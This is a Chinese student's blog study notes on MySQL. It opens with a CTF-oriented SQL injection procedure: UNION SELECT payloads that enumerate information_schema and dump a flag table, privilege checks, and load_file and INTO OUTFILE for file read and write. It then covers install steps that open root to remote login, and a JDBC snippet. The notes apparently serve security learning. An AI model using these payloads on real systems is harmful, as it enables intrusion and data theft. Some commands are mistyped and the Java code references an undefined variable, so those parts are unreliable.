ch14学习笔记(MySQL)

知识点归纳

问题和解决思路

SQL注入怎么实现?

基本流程
0)根据网站功能,猜测哪些地方可能存在注入(select insert注册 update delete)
1) 判断是否存在注入点;
and 1=1 考虑参数类型(闭合特殊符号,JSON)和提交方式post cookie
没有回显即盲注
2) 判断字段长度;order by
3)判断字段回显位置;union select 1,2,3;--+ union select ‘a,’b’,’c’;--+(有时候会过滤数字)
盲注
4) 判断数据库信息;
不是MySQL高版本就直接上sqlmap
Mongdb 用kali 的NoSQLAttack
version()版本;database()数据库;user()用户;
操作系统信息:@@version_compile_os
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
5) 查找数据库名,表名,列名;group_concat(字段/列名)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
Information_schema 下面有三张表:
information_schema.schemata 爆出所有数据库名字
该表中的字段:
Schema_name 存储了MySQL所有数据库的名称

union select 1, group_concat(schema_name) 3,4 from information_schema.schemata;

Information_schema.tables 爆出某个数据库下的所有表的名字
该表中的字段:
table_schema标志当前表的数据库名
Table_name 标志当前表的名称

union select 1, group_concat(table_name) 3,4 from information_schema.tables where table_schema=database();

information_schema.columns 爆出某个数据库某个表下所有字段的名字
该表中的字段:
column_name 标志当前字段的名字
Table_name 标志当前字段所属表的名字
(跨库)Table_schema 标志当前字段所属表所属的数据库名字

union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#

union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g') and table_schema=’跨库’,3,4#

6)在某个数据库某个表中,查询字段下面的数据
-1' union select 1,(select skctf_flag from fl4g),3,4#
-1' union select 1,skctf_flag,3,4 from fl4g;--+

7) 查找数据库表中所有字段以及字段值;
8) 猜解账号密码;
9) 登陆管理员后台。
10) 有权限 读文件和写文件 写:secure_file_priv != NULL
读文件: union select 绝对路径 load_file(‘C:/flag.txt’); 查看网页源代码查看
写入文件:union select into outfile(‘C:/1.php’);

实践内容

mysql安装

  1. 去官网下载安装包
    解压文件
    tar -zxvf mysql-8.0.11-linux-glibc2.12-i686.tar.gz

  2. 移动压缩包到usr/local目录下,并重命名文件
    mv /root/mysql-8.0.11-linux-glibc2.12-i686 /usr/local/mysql

  3. 在MySQL根目录下新建一个文件夹data,用于存放数据
    mkdir data

  4. 创建 mysql 用户组和 mysql 用户
    groupadd mysql
    useradd -g mysql mysql

  5. 改变 mysql 目录权限
    chown -R mysql.mysql /usr/local/mysql/

  6. 初始化数据库
    创建mysql_install_db安装文件
    mkdir mysql_install_db
    chmod 777 ./mysql_install_db
    初始化
    bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data //初始化数据库

记录好自己的临时密码:twi=Tlsi<0O!

这里遇到了问题没有libnuma.so.1

需要安装 libnuma
yum install libnuma
yum -y install numactl
yum install libaio1 libaio-dev

  1. mysql配置
    cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
    修改my.cnf文件
    vim /etc/my.cnf
[mysqld]
    basedir = /usr/local/mysql   
    datadir = /usr/local/mysql/data
    socket = /usr/local/mysql/mysql.sock
    character-set-server=utf8
    port = 3306
    sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
[client]
    socket = /usr/local/mysql/mysql.sock
    default-character-set=utf8

  1. 建立MySQL服务

cp -a ./support-files/mysql.server /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysql
chmod +x /etc/init.d/mysql

添加到系统服务
chkconfig --add mysql
cp -a ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/rc.d/init.d/mysqld
chkconfig --add mysqld

检查服务是否生效
chkconfig --list mysqld

  1. 配置全局环境变量
    vim /etc/profile
    export PATH=$PATH:/usr/local/mysql/bin:/usr/local/mysql/lib

source /etc/profile

  1. 启动MySQL服务

service mysql start

查看初始密码

cat /root/.mysql_secret

  1. 登录MySQL

mysql -uroot -p密码

修改密码:

SET PASSWORD FOR 'root'@localhost=PASSWORD('123456'); #对应的换成你自己的密码即可了。

  1. 设置可以远程登录
    mysql>use mysql
    mysql>update user set host='%' where user='root' limit 1;
    mysql>flush privileges;

然后检查3306端口是否开放
netstat -nupl|grep 3306

开放3306端口
firewall -cmd --permanent --add-prot=3306/tcp

重启防火墙
firewall -cmd --reload

数据库操作

显示数据库、创建数据库、删除数据库

使用数据库,创建表,显示表,描述表,删除表

增删改查,运行sql脚本

使用ALTER重新设计表

关联表

一对一

JDBC

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class DbUtil {

    public static final String URL = "jdbc:mysql://localhost:3306/database";
    public static final String USER = "user";
    public static final String PASSWORD = "password";

    public static void main(String[] args) throws Exception {
        //1.加载驱动程序
        Class.forName("com.mysql.jdbc.Driver");
        //2. 获得数据库连接
        Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);
        //3.操作数据库,实现增删改查
        Statement stmt = conn.createStatement();
        ResultSet rs = stmt.executeQuery(sql);
        //如果有数据,rs.next()返回true
        while(rs.next()){
            System.out.println(rs.getString("user_name")+" 年龄:"+rs.getInt("age"));
        }
    }
}
posted @ 2021-12-12 17:40  191206  阅读(72)  评论(0编辑  收藏  举报